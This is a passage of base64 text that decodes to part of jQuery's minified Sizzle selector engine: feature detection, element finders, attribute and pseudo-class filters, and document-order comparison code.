5lZCIhPXR5cGVvZiBlLnF1ZXJ5U2VsZWN0b3JBbGwmJiFlLnF1ZXJ5U2VsZWN0b3JBbGwoIjpzY29wZSBmaWVsZHNldCBkaXYiKS5sZW5ndGh9KSxkLmF0dHJpYnV0ZXM9Y2UoZnVuY3Rpb24oZSl7cmV0dXJuIGUuY2xhc3NOYW1lPSJpIiwhZS5nZXRBdHRyaWJ1dGUoImNsYXNzTmFtZSIpfSksZC5nZXRFbGVtZW50c0J5VGFnTmFtZT1jZShmdW5jdGlvbihlKXtyZXR1cm4gZS5hcHBlbmRDaGlsZChDLmNyZWF0ZUNvbW1lbnQoIiIpKSwhZS5nZXRFbGVtZW50c0J5VGFnTmFtZSgiKiIpLmxlbmd0aH0pLGQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZT1LLnRlc3QoQy5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKSxkLmdldEJ5SWQ9Y2UoZnVuY3Rpb24oZSl7cmV0dXJuIGEuYXBwZW5kQ2hpbGQoZSkuaWQ9UywhQy5nZXRFbGVtZW50c0J5TmFtZXx8IUMuZ2V0RWxlbWVudHNCeU5hbWUoUykubGVuZ3RofSksZC5nZXRCeUlkPyhiLmZpbHRlci5JRD1mdW5jdGlvbihlKXt2YXIgdD1lLnJlcGxhY2UodGUsbmUpO3JldHVybiBmdW5jdGlvbihlKXtyZXR1cm4gZS5nZXRBdHRyaWJ1dGUoImlkIik9PT10fX0sYi5maW5kLklEPWZ1bmN0aW9uKGUsdCl7aWYoInVuZGVmaW5lZCIhPXR5cGVvZiB0LmdldEVsZW1lbnRCeUlkJiZFKXt2YXIgbj10LmdldEVsZW1lbnRCeUlkKGUpO3JldHVybiBuP1tuXTpbXX19KTooYi5maWx0ZXIuSUQ9ZnVuY3Rpb24oZSl7dmFyIG49ZS5yZXBsYWNlKHRlLG5lKTtyZXR1cm4gZnVuY3Rpb24oZSl7dmFyIHQ9InVuZGVmaW5lZCIhPXR5cGVvZiBlLmdldEF0dHJpYnV0ZU5vZGUmJmUuZ2V0QXR0cmlidXRlTm9kZSgiaWQiKTtyZXR1cm4gdCYmdC52YWx1ZT09PW59fSxiLmZpbmQuSUQ9ZnVuY3Rpb24oZSx0KXtpZigidW5kZWZpbmVkIiE9dHlwZW9mIHQuZ2V0RWxlbWVudEJ5SWQmJkUpe3ZhciBuLHIsaSxvPXQuZ2V0RWxlbWVudEJ5SWQoZSk7aWYobyl7aWYoKG49by5nZXRBdHRyaWJ1dGVOb2RlKCJpZCIpKSYmbi52YWx1ZT09PWUpcmV0dXJuW29dO2k9dC5nZXRFbGVtZW50c0J5TmFtZShlKSxyPTA7d2hpbGUobz1pW3IrK10paWYoKG49by5nZXRBdHRyaWJ1dGVOb2RlKCJpZCIpKSYmbi52YWx1ZT09PWUpcmV0dXJuW29dfXJldHVybltdfX0pLGIuZmluZC5UQUc9ZC5nZXRFbGVtZW50c0J5VGFnTmFtZT9mdW5jdGlvbihlLHQpe3JldHVybiJ1bmRlZmluZWQiIT10eXBlb2YgdC5nZXRFbGVtZW50c0J5VGFnTmFtZT90LmdldEVsZW1lbnRzQnlUYWdOYW1lKGUpOmQucXNhP3QucXVlcnlTZWxlY3RvckFsbChlKTp2b2lkIDB9OmZ1bmN0aW9uKGUsdCl7dmFyIG4scj1bXSxpPTAsbz10LmdldEVsZW1lbnRzQnlUYWdOYW1lKGUpO2lmKCIqIj09PWUpe3doaWxlKG49b1tpKytdKTE9PT1uLm5vZGVUeXBlJiZyLnB1c2gobik7cmV0dXJuIHJ9cmV0dXJuIG99LGIuZmluZC5DTEFTUz1kLmdldEVsZW1lbnRzQnlDbGFzc05hbWUmJmZ1bmN0aW9uKGUsdCl7aWYoInVuZGVmaW5lZCIhPXR5cGVvZiB0LmdldEVsZW1lbnRzQnlDbGFzc05hbWUmJkUpcmV0dXJuIHQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZShlKX0scz1bXSx2PVtdLChkLnFzYT1LLnRlc3QoQy5xdWVyeVNlbGVjdG9yQWxsKSkmJihjZShmdW5jdGlvbihlKXt2YXIgdDthLmFwcGVuZENoaWxkKGUpLmlubmVySFRNTD0iPGEgaWQ9JyIrUysiJz48L2E+PHNlbGVjdCBpZD0nIitTKyItXHJcXCcgbXNhbGxvd2NhcHR1cmU9Jyc+PG9wdGlvbiBzZWxlY3RlZD0nJz48L29wdGlvbj48L3NlbGVjdD4iLGUucXVlcnlTZWxlY3RvckFsbCgiW21zYWxsb3djYXB0dXJlXj0nJ10iKS5sZW5ndGgmJnYucHVzaCgiWypeJF09IitNKyIqKD86Jyd8XCJcIikiKSxlLnF1ZXJ5U2VsZWN0b3JBbGwoIltzZWxlY3RlZF0iKS5sZW5ndGh8fHYucHVzaCgiXFxbIitNKyIqKD86dmFsdWV8IitSKyIpIiksZS5xdWVyeVNlbGVjdG9yQWxsKCJbaWR+PSIrUysiLV0iKS5sZW5ndGh8fHYucHVzaCgifj0iKSwodD1DLmNyZWF0ZUVsZW1lbnQoImlucHV0IikpLnNldEF0dHJpYnV0ZSgibmFtZSIsIiIpLGUuYXBwZW5kQ2hpbGQodCksZS5xdWVyeVNlbGVjdG9yQWxsKCJbbmFtZT0nJ10iKS5sZW5ndGh8fHYucHVzaCgiXFxbIitNKyIqbmFtZSIrTSsiKj0iK00rIiooPzonJ3xcIlwiKSIpLGUucXVlcnlTZWxlY3RvckFsbCgiOmNoZWNrZWQiKS5sZW5ndGh8fHYucHVzaCgiOmNoZWNrZWQiKSxlLnF1ZXJ5U2VsZWN0b3JBbGwoImEjIitTKyIrKiIpLmxlbmd0aHx8di5wdXNoKCIuIy4rWyt+XSIpLGUucXVlcnlTZWxlY3RvckFsbCgiXFxcZiIpLHYucHVzaCgiW1xcclxcblxcZl0iKX0pLGNlKGZ1bmN0aW9uKGUpe2UuaW5uZXJIVE1MPSI8YSBocmVmPScnIGRpc2FibGVkPSdkaXNhYmxlZCc+PC9hPjxzZWxlY3QgZGlzYWJsZWQ9J2Rpc2FibGVkJz48b3B0aW9uLz48L3NlbGVjdD4iO3ZhciB0PUMuY3JlYXRlRWxlbWVudCgiaW5wdXQiKTt0LnNldEF0dHJpYnV0ZSgidHlwZSIsImhpZGRlbiIpLGUuYXBwZW5kQ2hpbGQodCkuc2V0QXR0cmlidXRlKCJuYW1lIiwiRCIpLGUucXVlcnlTZWxlY3RvckFsbCgiW25hbWU9ZF0iKS5sZW5ndGgmJnYucHVzaCgibmFtZSIrTSsiKlsqXiR8IX5dPz0iKSwyIT09ZS5xdWVyeVNlbGVjdG9yQWxsKCI6ZW5hYmxlZCIpLmxlbmd0aCYmdi5wdXNoKCI6ZW5hYmxlZCIsIjpkaXNhYmxlZCIpLGEuYXBwZW5kQ2hpbGQoZSkuZGlzYWJsZWQ9ITAsMiE9PWUucXVlcnlTZWxlY3RvckFsbCgiOmRpc2FibGVkIikubGVuZ3RoJiZ2LnB1c2goIjplbmFibGVkIiwiOmRpc2FibGVkIiksZS5xdWVyeVNlbGVjdG9yQWxsKCIqLDp4Iiksdi5wdXNoKCIsLio6Iil9KSksKGQubWF0Y2hlc1NlbGVjdG9yPUsudGVzdChjPWEubWF0Y2hlc3x8YS53ZWJraXRNYXRjaGVzU2VsZWN0b3J8fGEubW96TWF0Y2hlc1NlbGVjdG9yfHxhLm9NYXRjaGVzU2VsZWN0b3J8fGEubXNNYXRjaGVzU2VsZWN0b3IpKSYmY2UoZnVuY3Rpb24oZSl7ZC5kaXNjb25uZWN0ZWRNYXRjaD1jLmNhbGwoZSwiKiIpLGMuY2FsbChlLCJbcyE9JyddOngiKSxzLnB1c2goIiE9IixGKX0pLHY9di5sZW5ndGgmJm5ldyBSZWdFeHAodi5qb2luKCJ8IikpLHM9cy5sZW5ndGgmJm5ldyBSZWdFeHAocy5qb2luKCJ8IikpLHQ9Sy50ZXN0KGEuY29tcGFyZURvY3VtZW50UG9zaXRpb24pLHk9dHx8Sy50ZXN0KGEuY29udGFpbnMpP2Z1bmN0aW9uKGUsdCl7dmFyIG49OT09PWUubm9kZVR5cGU/ZS5kb2N1bWVudEVsZW1lbnQ6ZSxyPXQmJnQucGFyZW50Tm9kZTtyZXR1cm4gZT09PXJ8fCEoIXJ8fDEhPT1yLm5vZGVUeXBlfHwhKG4uY29udGFpbnM/bi5jb250YWlucyhyKTplLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uJiYxNiZlLmNvbXBhcmVEb2N1bWVudFBvc2l0aW9uKHIpKSl9OmZ1bmN0aW9uKGUsdCl7aWYodCl3aGlsZSh0PXQucGFyZW50Tm9kZSlpZih0PT09ZSlyZXR1cm4hMDtyZXR1cm4hMX0sRD10P2Z1bmN0aW9uKGUsdCl7aWYoZT09PXQpcmV0dXJuIGw9ITAsMDt2YXIgbj0hZS5jb21wYXJlRG9jdW1lbnRQb3NpdGlvbi0hdC5jb21wYXJlRG9jdW1lbnRQb3NpdGlvbjtyZXR1cm4gbnx8KDEmKG49KGUub3duZXJEb2N1bWVudHx8ZSk9PSh0Lm93bmVyRG9jdW1lbnR8fHQpP2UuY29tcGFyZURvY3VtZW50UG9zaXRpb24odCk6MSl8fCFkLnNvcnREZXRhY2hlZCYmdC5jb21wYXJlRG9jdW1lbnRQb3NpdGlvbihlKT09PW4/ZT09Q3x8ZS5vd25lckRvY3VtZW50PT1wJiZ5KHAsZSk/LTE6dD09Q3x8dC5vd25lckRvY3VtZW50PT1wJiZ5KHAsdCk/MTp1P1AodSxlKS1QKHUsdCk6MDo0Jm4/LTE6MSl9OmZ1bmN0aW9uKGUsdCl7aWYoZT09PXQpcmV0dXJuIGw9ITAsMDt2YXIgbixyPTAsaT1lLnBhcmVudE5vZGUsbz10LnBhcmVudE5vZGUsYT1bZV0scz1bdF07aWYoIWl8fCFvKXJldHVybiBlPT1DPy0xOnQ9PUM/MTppPy0xOm8/MTp1P1AodSxlKS1QKHUsdCk6MDtpZihpPT09bylyZXR1cm4gcGUoZSx0KTtuPWU7d2hpbGUobj1uLnBhcmVudE5vZGUpYS51bnNoaWZ0KG4pO249dDt3aGlsZShuPW4ucGFyZW50Tm9kZSlzLnVuc2hpZnQobik7d2hpbGUoYVtyXT09PXNbcl0pcisrO3JldHVybiByP3BlKGFbcl0sc1tyXSk6YVtyXT09cD8tMTpzW3JdPT1wPzE6MH0pLEN9LHNlLm1hdGNoZXM9ZnVuY3Rpb24oZSx0KXtyZXR1cm4gc2UoZSxudWxsLG51bGwsdCl9LHNlLm1hdGNoZXNTZWxlY3Rvcj1mdW5jdGlvbihlLHQpe2lmKFQoZSksZC5tYXRjaGVzU2VsZWN0b3ImJkUmJiFOW3QrIiAiXSYmKCFzfHwhcy50ZXN0KHQpKSYmKCF2fHwhdi50ZXN0KHQpKSl0cnl7dmFyIG49Yy5jYWxsKGUsdCk7aWYobnx8ZC5kaXNjb25uZWN0ZWRNYXRjaHx8ZS5kb2N1bWVudCYmMTEhPT1lLmRvY3VtZW50Lm5vZGVUeXBlKXJldHVybiBufWNhdGNoKGUpe04odCwhMCl9cmV0dXJuIDA8c2UodCxDLG51bGwsW2VdKS5sZW5ndGh9LHNlLmNvbnRhaW5zPWZ1bmN0aW9uKGUsdCl7cmV0dXJuKGUub3duZXJEb2N1bWVudHx8ZSkhPUMmJlQoZSkseShlLHQpfSxzZS5hdHRyPWZ1bmN0aW9uKGUsdCl7KGUub3duZXJEb2N1bWVudHx8ZSkhPUMmJlQoZSk7dmFyIG49Yi5hdHRySGFuZGxlW3QudG9Mb3dlckNhc2UoKV0scj1uJiZqLmNhbGwoYi5hdHRySGFuZGxlLHQudG9Mb3dlckNhc2UoKSk/bihlLHQsIUUpOnZvaWQgMDtyZXR1cm4gdm9pZCAwIT09cj9yOmQuYXR0cmlidXRlc3x8IUU/ZS5nZXRBdHRyaWJ1dGUodCk6KHI9ZS5nZXRBdHRyaWJ1dGVOb2RlKHQpKSYmci5zcGVjaWZpZWQ/ci52YWx1ZTpudWxsfSxzZS5lc2NhcGU9ZnVuY3Rpb24oZSl7cmV0dXJuKGUrIiIpLnJlcGxhY2UocmUsaWUpfSxzZS5lcnJvcj1mdW5jdGlvbihlKXt0aHJvdyBuZXcgRXJyb3IoIlN5bnRheCBlcnJvciwgdW5yZWNvZ25pemVkIGV4cHJlc3Npb246ICIrZSl9LHNlLnVuaXF1ZVNvcnQ9ZnVuY3Rpb24oZSl7dmFyIHQsbj1bXSxyPTAsaT0wO2lmKGw9IWQuZGV0ZWN0RHVwbGljYXRlcyx1PSFkLnNvcnRTdGFibGUmJmUuc2xpY2UoMCksZS5zb3J0KEQpLGwpe3doaWxlKHQ9ZVtpKytdKXQ9PT1lW2ldJiYocj1uLnB1c2goaSkpO3doaWxlKHItLSllLnNwbGljZShuW3JdLDEpfXJldHVybiB1PW51bGwsZX0sbz1zZS5nZXRUZXh0PWZ1bmN0aW9uKGUpe3ZhciB0LG49IiIscj0wLGk9ZS5ub2RlVHlwZTtpZihpKXtpZigxPT09aXx8OT09PWl8fDExPT09aSl7aWYoInN0cmluZyI9PXR5cGVvZiBlLnRleHRDb250ZW50KXJldHVybiBlLnRleHRDb250ZW50O2ZvcihlPWUuZmlyc3RDaGlsZDtlO2U9ZS5uZXh0U2libGluZyluKz1vKGUpfWVsc2UgaWYoMz09PWl8fDQ9PT1pKXJldHVybiBlLm5vZGVWYWx1ZX1lbHNlIHdoaWxlKHQ9ZVtyKytdKW4rPW8odCk7cmV0dXJuIG59LChiPXNlLnNlbGVjdG9ycz17Y2FjaGVMZW5ndGg6NTAsY3JlYXRlUHNldWRvOmxlLG1hdGNoOkcsYXR0ckhhbmRsZTp7fSxmaW5kOnt9LHJlbGF0aXZlOnsiPiI6e2RpcjoicGFyZW50Tm9kZSIsZmlyc3Q6ITB9LCIgIjp7ZGlyOiJwYXJlbnROb2RlIn0sIisiOntkaXI6InByZXZpb3VzU2libGluZyIsZmlyc3Q6ITB9LCJ+Ijp7ZGlyOiJwcmV2aW91c1NpYmxpbmcifX0scHJlRmlsdGVyOntBVFRSOmZ1bmN0aW9uKGUpe3JldHVybiBlWzFdPWVbMV0ucmVwbGFjZSh0ZSxuZSksZVszXT0oZVszXXx8ZVs0XXx8ZVs1XXx8IiIpLnJlcGxhY2UodGUsbmUpLCJ+PSI9PT1lWzJdJiYoZVszXT0iICIrZVszXSsiICIpLGUuc2xpY2UoMCw0KX0sQ0hJTEQ6ZnVuY3Rpb24oZSl7cmV0dXJuIGVbMV09ZVsxXS50b0xvd2VyQ2FzZSgpLCJudGgiPT09ZVsxXS5zbGljZSgwLDMpPyhlWzNdfHxzZS5lcnJvcihlWzBdKSxlWzRdPSsoZVs0XT9lWzVdKyhlWzZdfHwxKToyKigiZXZlbiI9PT1lWzNdfHwib2RkIj09PWVbM10pKSxlWzVdPSsoZVs3XStlWzhdfHwib2RkIj09PWVbM10pKTplWzNdJiZzZS5lcnJvcihlWzBdKSxlfSxQU0VVRE86ZnVuY3Rpb24oZSl7dmFyIHQsbj0hZVs2XSYmZVsyXTtyZXR1cm4gRy5DSElMRC50ZXN0KGVbMF0pP251bGw6KGVbM10/ZVsyXT1lWzRdfHxlWzVdfHwiIjpuJiZYLnRlc3QobikmJih0PWgobiwhMCkpJiYodD1uLmluZGV4T2YoIikiLG4ubGVuZ3RoLXQpLW4ubGVuZ3RoKSYmKGVbMF09ZVswXS5zbGljZSgwLHQpLGVbMl09bi5zbGljZSgwLHQpKSxlLnNsaWNlKDAsMykpfX0sZmlsdGVyOntUQUc6ZnVuY3Rpb24oZSl7dmFyIHQ9ZS5yZXBsYWNlKHRlLG5lKS50b0xvd2VyQ2FzZSgpO3JldHVybiIqIj09PWU/ZnVuY3Rpb24oKXtyZXR1cm4hMH06ZnVuY3Rpb24oZSl7cmV0dXJuIGUubm9kZU5hbWUmJmUubm9kZU5hbWUudG9Mb3dlckNhc2UoKT09PXR9fSxDTEFTUzpmdW5jdGlvbihlKXt2YXIgdD1tW2UrIiAiXTtyZXR1cm4gdHx8KHQ9bmV3IFJlZ0V4cCgiKF58IitNKyIpIitlKyIoIitNKyJ8JCkiKSkmJm0oZSxmdW5jdGlvbihlKXtyZXR1cm4gdC50ZXN0KCJzdHJpbmciPT10eXBlb2YgZS5jbGFzc05hbWUmJmUuY2xhc3NOYW1lfHwidW5kZWZpbmVkIiE9dHlwZW9mIGUuZ2V0QXR0cmlidXRlJiZlLmdldEF0dHJpYnV0ZSgiY2xhc3MiKXx8IiIpfSl9LEFUVFI6ZnVuY3Rpb24obixyLGkpe3JldHVybiBmdW5jdGlvbihlKXt2YXIgdD1zZS5hdHRyKGUsbik7cmV0dXJuIG51bGw9PXQ/IiE9Ij09PXI6IXJ8fCh0Kz0iIiwiPSI9PT1yP3Q9PT1pOiIhPSI9PT1yP3QhPT1pOiJePSI9PT1yP2kmJjA9PT10LmluZGV4T2YoaSk6Iio9Ij09PXI/aSYmLTE8dC5pbmRleE9mKGkpOiIkPSI9PT1yP2kmJnQuc2xpY2UoLWkubGVuZ3RoKT09PWk6In49Ij09PXI/LTE8KCIgIit0LnJlcGxhY2UoQiwiICIpKyIgIikuaW5kZXhPZihpKToifD0iPT09ciYmKHQ9PT1pfHx0LnNsaWNlKDAsaS5sZW5ndGgrMSk9PT1pKyItIikpfX0sQ0hJTEQ6ZnVuY3Rpb24oaCxlLHQsZyx2KXt2YXIgeT0ibnRoIiE9PWguc2xpY2UoMCwzKSxtPSJsYXN0IiE9PWguc2xpY2UoLTQpLHg9Im9mLXR5cGUiPT09ZTtyZXR1cm4gMT09PWcmJjA9PT12P2Z1bmN0aW9uKGUpe3JldHVybiEhZS5wYXJlbnROb2RlfTpmdW5jdGlvbihlLHQsbil7dmFyIHIsaSxvLGEscyx1LGw9eSE9PW0/Im5leHRTaWJsaW5nIjoicHJldmlvdXNTaWJsaW5nIixjPWUucGFyZW50Tm9kZSxmPXgmJmUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSxwPSFuJiYheCxkPSExO2lmKGMpe2lmKHkpe3doaWxlKGwpe2E9ZTt3aGlsZShhPWFbbF0paWYoeD9hLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk9PT1mOjE9PT1hLm5vZGVUeXBlKXJldHVybiExO3U9bD0ib25seSI9PT1oJiYhdSYmIm5leHRTaWJsaW5nIn1yZXR1cm4hMH1pZih1PVttP2MuZmlyc3RDaGlsZDpjLmxhc3RDaGlsZF0sbSYmcCl7ZD0ocz0ocj0oaT0obz0oYT1jKVtTXXx8KGFbU109e30pKVthLnVuaXF1ZUlEXXx8KG9bYS51bmlxdWVJRF09e30pKVtoXXx8W10pWzBdPT09ayYmclsxXSkmJnJbMl0sYT1zJiZjLmNoaWxkTm9kZXNbc107d2hpbGUoYT0rK3MmJmEmJmFbbF18fChkPXM9MCl8fHUucG9wKCkpaWYoMT09PWEubm9kZVR5cGUmJisrZCYmYT09PWUpe2lbaF09W2sscyxkXTticmVha319ZWxzZSBpZihwJiYoZD1zPShyPShpPShvPShhPWUpW1NdfHwoYVtTXT17fSkpW2EudW5pcXVlSURdfHwob1thLnVuaXF1ZUlEXT17fSkpW2hdfHxbXSlbMF09PT1rJiZyWzFdKSwhMT09PWQpd2hpbGUoYT0rK3MmJmEmJmFbbF18fChkPXM9MCl8fHUucG9wKCkpaWYoKHg/YS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpPT09ZjoxPT09YS5ub2RlVHlwZSkmJisrZCYmKHAmJigoaT0obz1hW1NdfHwoYVtTXT17fSkpW2EudW5pcXVlSURdfHwob1thLnVuaXF1ZUlEXT17fSkpW2hdPVtrLGRdKSxhPT09ZSkpYnJlYWs7cmV0dXJuKGQtPXYpPT09Z3x8ZCVnPT0wJiYwPD1kL2d9fX0sUFNFVURPOmZ1bmN0aW9uKGUsbyl7dmFyIHQsYT1iLnBzZXVkb3NbZV18fGIuc2V0RmlsdGVyc1tlLnRvTG93ZXJDYXNlKCldfHxzZS5lcnJvcigidW5zdXBwb3J0ZWQgcHNldWRvOiAiK2UpO3JldHVybiBhW1NdP2Eobyk6MTxhLmxlbmd0aD8odD1bZSxlLCIiLG9dLGIuc2V0RmlsdGVycy5oYXNPd25Qcm9wZXJ0eShlLnRvTG93ZXJDYXNlKCkpP2xlKGZ1bmN0aW9uKGUsdCl7dmFyIG4scj1hKGUsbyksaT1yLmxlbmd0aDt3aGlsZShpLS0pZVtuPVAoZSxyW2ldKV09ISh0W25dPXJbaV0pfSk6ZnVuY3Rpb24oZSl7cmV0dXJuIGEoZSwwLHQpfSk6YX19LHBzZXVkb3M6e25vdDpsZShmdW5jdGlvbihlKXt2YXIgcj1bXSxpPVtdLHM9ZihlLnJlcGxhY2UoJCwiJDEiKSk7cmV0dXJuIHNbU10/bGUoZnVuY3Rpb24oZSx0LG4scil7dmFyIGksbz1zKGUsbnVsbCxyLFtdKSxhPWUubGVuZ3RoO3doaWxlKGEtLSkoaT1vW2FdKSYmKGVbYV09ISh0W2FdPWkpKX0pOmZ1bmN0aW9uKGUsdCxuKXtyZXR1cm4gclswXT1lLHMocixudWxsLG4saSksclswXT1udWxsLCFpLnBvcCgpfX0pLGhhczpsZShmdW5jdGlvbih0KXtyZXR1cm4gZnVuY3Rpb24oZSl7cmV0dXJuIDA8c2UodCxlKS5sZW5ndGh9fSksY29udGFpbnM6bGUoZnVuY3Rpb24odCl7cmV0dXJuIHQ9dC5yZXBsYWNlKHRlLG5lKSxmdW5jdGlvbihlKXtyZXR1cm4tMTwoZS50ZXh0Q29udGVudHx8byhlKSkuaW5kZXhPZih0KX19KSxsYW5nOmxlKGZ1bmN0aW9uKG4pe3JldHVybiBWLnRlc3Qobnx8IiIpfHxzZS5lcnJvcigidW5zdXBwb3J0ZWQgbGFuZzogIituKSxuPW4ucmVwbGFjZSh0ZSxuZSkudG9Mb3dlckNhc2UoKSxmdW5jdGlvbihlKXt2YXIgdDtkb3tpZih0PUU/ZS5sYW5nOmUuZ2V0QXR0cmlidXRlKCJ4bWw6bGFuZyIpfHxlLmdldEF0dHJpYnV0ZSgibGFuZyIpKXJldHVybih0PXQudG9Mb3dlckNhc2UoKSk9PT1ufHwwPT09dC5pbmRleE9mKG4rIi0iKX13aGlsZSgoZT1lLnBhcmVudE5vZGUpJiYxPT09ZS5ub2RlVHlwZSk7cmV0dXJuITF9fSksdGFyZ2V0OmZ1bmN0aW9uKGUpe3ZhciB0PW4ubG9jYXRpb24mJm4ubG9jYXRpb24uaGFzaDtyZXR1cm4gdCYmdC5zbGljZSgxKT09PWUuaWR9LHJvb3Q6ZnVuY3Rpb24oZSl7cmV0dXJuIGU9PT1hfSxmb2N1czpmdW5jdGlvbihlKXtyZXR1cm4gZT09PUMuYWN0aXZlRWxlbWVudCYmKCFDLmhhc0ZvY3VzfHxDLmhhc0ZvY3VzKCkpJiYhIShlLnR5cGV8fGUuaHJlZnx8fmUudGFiSW5kZXgpfSxlbmFibGVkOmdlKCExKSxkaXNhYmxlZDpnZSghMCksY2hlY2tlZDpmdW5jdGlvbihlKXt2YXIgdD1lLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk7cmV0dXJuImlucHV0Ij09PXQmJiEhZS5jaGVja2VkfHwib3B0aW9uIj09PXQmJiEhZS5zZWxlY3RlZH0sc2VsZWN0ZWQ6ZnVuY3Rpb24oZSl7cmV0dXJuIGUucGFyZW50Tm9kZSYmZS5wYXJlbnROb2RlLnNlbGVjdGVkSW5kZXgsITA9PT1lLnNlbGVjdGVkfSxlbXB0eTpmdW5jdGlvbihlKXtmb3IoZT1lLmZpcnN0Q2hpbGQ7ZTtlPWUubmV4dFNpYmxpbmcpaWYoZS5ub2RlVHlwZTw2KXJldHVybiExO3JldHVybiEwfSxwYXJlbnQ6ZnVuY3Rpb24oZSl7cmV0dXJuIWIucHNldWRvcy5lbXB0eShlKX0saGVhZGVyOmZ1bmN0aW9uKGUpe3JldHVybiBKLnRlc3QoZS5ub2RlTmFtZSl9LGlucHV0OmZ1bmN0aW9uKGUpe3JldHVybiBRLnRlc3QoZS5ub2RlTmFtZSl9LGJ1dHRvbjpmdW5jdGlvbihlKXt2YXIgdD1lLm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk7cmV0dXJuImlucHV0Ij09PXQmJiJidXR0b24iPT09ZS50eXBlfHwiYnV0dG9uIj09PXR9LHRleHQ6ZnVuY3Rpb24oZSl7dmFyIHQ7cmV0dXJuImlucHV0Ij09PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSYmInRleHQiPT09ZS50eXBlJiYobnVsbD09KHQ9ZS5nZXRBdHRyaWJ1dGUoInR5cGUiKSl8fCJ0ZXh0Ij09PXQudG9Mb3dlckNhc2UoKSl9LGZpcnN0OnZlKGZ1bmN0aW9uKCl7cmV0dXJuWzBdfSksbGFzdDp2ZShmdW5jdGlvbihlLHQpe3JldHVyblt0LTFdfSksZXE6dmUoZnVuY3Rpb24oZSx0LG4pe3JldHVybltuPDA/bit0Om5dfSksZXZlbjp2ZShmdW5jdGlvbihlLHQpe2Zvcih2YXIgbj0wO248dDtuKz0yKWUucHVzaChuKTtyZXR1cm4gZX0pLG9kZDp2ZShmdW5jdGlvbihlLHQpe2Zvcih2YXIgbj0xO248dDtuKz0yKWUucHVzaChuKTtyZXR1cm4gZX0pLGx0OnZlKGZ1bmN0aW9uKGUsdCxuKXtmb3IodmFyIHI9bjwwP24rdDp0PG4/dDpuOzA8PS0tcjspZS5wdXNoKHIpO3JldHVybiBlfSksZ3Q6dmUoZnVuY3Rpb24oZSx0LG4pe2Zvcih2YXIgcj1uPDA/bit0Om47KytyPHQ7KWUucHVzaChyKTtyZXR1cm4gZX0pfX0pLnBzZXVkb3MubnRoPWIucHNldWRvcy5lcSx7cmFkaW86ITAsY2hlY2tib3g6ITAsZmlsZTohMCxwYXNzd29yZDohMCxpbWFnZTohMH0pYi5wc2V1ZG9zW2VdPWRlKGUpO2ZvcihlIGlue3N1Ym1pdDohMCxyZXNldDohMH0pYi5wc2V1ZG9zW2VdPWhlKGUpO2Z1bmN0aW9uIG1lKCl7fWZ1bmN0aW9uIHhlKGUpe2Zvcih2YXIgdD0wLG49ZS5sZW5ndGgscj0iIjt0PG47dCsrKXIrPWVbdF0udmFsdWU7cmV0dXJuIHJ9ZnVuY3Rpb24gYmUocyxlLHQpe3ZhciB1PWUuZGlyLGw9ZS5uZXh0LGM9bHx8dSxmPXQmJiJwYXJlbnROb2RlIj09PWMscD1yKys7cmV0dXJuIGUuZmlyc3Q/ZnVuY3Rpb24oZSx0LG4pe3doaWxlKGU9ZVt1XSlpZigxPT09ZS5ub2RlVHlwZXx8ZilyZXR1cm4gcyhlLHQsbik7cmV0dXJuITF9OmZ1bmN0aW9uKGUsdCxuKXt2YXIgcixpLG8sYT1bayxwXTtpZihuKXt3aGlsZShlPWVbdV0paWYoKDE9PT1lLm5vZGVUeXBlfHxmKSYmcyhlLHQsbikpcmV0dXJuITB9ZWxzZSB3aGlsZShlPWVbdV0paWYoMT09PWUubm9kZVR5cGV8fGYpaWYoaT0obz1lW1NdfHwoZVtTXT17fSkpW2UudW5pcXVlSURdfHwob1tlLnVuaXF1ZUlEXT17fSksbCYmbD09PWUubm9kZU5hbWUudG9Mb3dlckNhc2UoKSllPWVbdV18fGU7ZWxzZXtpZigocj1pW2NdKSYmclswXT09PWsmJnJbMV09PT1wKXJldHVybiBhWzJdPXJbMl07aWYoKGlbY109YSlbMl09cyhlLHQsbikpcmV0dXJuITB9cmV0dXJuITF9fWZ1bmN0aW9uIHdlKGkpe3JldHVybiAxPGkubGVuZ3RoP2Z1bmN0aW9uKGUsdCxuKXt2YXIgcj1pLmxlbmd0aDt3aGlsZShyLS0paWYoIWlbcl0oZSx0LG4pKXJldHVybiExO3JldHVybiEwfTppWzBdfWZ1bmN0aW9uIFRlKGUsdCxuLHIsaSl7Zm9yKHZhciBvLGE9W10scz0wLHU9ZS5sZW5ndGgsbD1udWxsIT10O3M8dTtzKyspKG89ZVtzXSkmJihuJiYhbihvLHIsaSl8fChhLnB1c2gobyksbCYmdC5wdXNoKHMpKSk7cmV0dXJuIGF9ZnVuY3Rpb24gQ2UoZCxoLGcsdix5LGUpe3JldHVybiB2JiYhdltTXSYmKHY9Q2UodikpLHkmJiF5W1NdJiYoeT1DZSh5LGUpKSxsZShmdW5jdGlvbihlLHQsbixyKXt2YXIgaSxvLGEscz1bXSx1PVtdLGw9dC5sZW5ndGgsYz1lfHxmdW5jdGlvbihlLHQsbil7Zm9yKHZhciByPTAsaT10Lmxlbmd0aDtyPGk7cisrKXNlKGUsdFtyXSxuKTtyZXR1cm4gbn0oaHx8IioiLG4ubm9kZVR5cGU/W25dOm4sW10pLGY9IWR8fCFlJiZoP2M6VGUoYyxzLGQsbixyKSxwPWc/eXx8KGU/ZDpsfHx2KT9bXTp0OmY7aWYoZyYmZyhmLHAsbixyKSx2KXtpPVRlKHAsdSksdihpLFtdLG4sciksbz1pLmxlbmd0aDt3aGlsZShvLS0pKGE9aVtvXSkmJihwW3Vbb11dPSEoZlt1W29dXT1hKSl9aWYoZSl7aWYoeXx8ZCl7aWYoeSl7aT1bXSxvPXAubGVuZ3RoO3doaWxlKG8tLSkoYT1wW29dKSYmaS5wdXNoKGZbb109YSk7eShudWxsLHA9W10saSxyKX1vPXAubGVuZ3RoO3doaWxlKG8tLSkoYT1wW29dKSYmLTE8KGk9eT9QKGUsYSk6c1tvXSkmJihlW2ldPSEodFtpXT1hKSl9fWVsc2UgcD1UZShwPT09dD9wLnNwbGljZShsLHAubGVuZ3RoKTpwKSx5P3kobnVsbCx0LHAscik6SC5hcHBseSh0LHApfSl9ZnVuY3Rpb24gRWUoZSl7Zm9yKHZhciBpLHQsb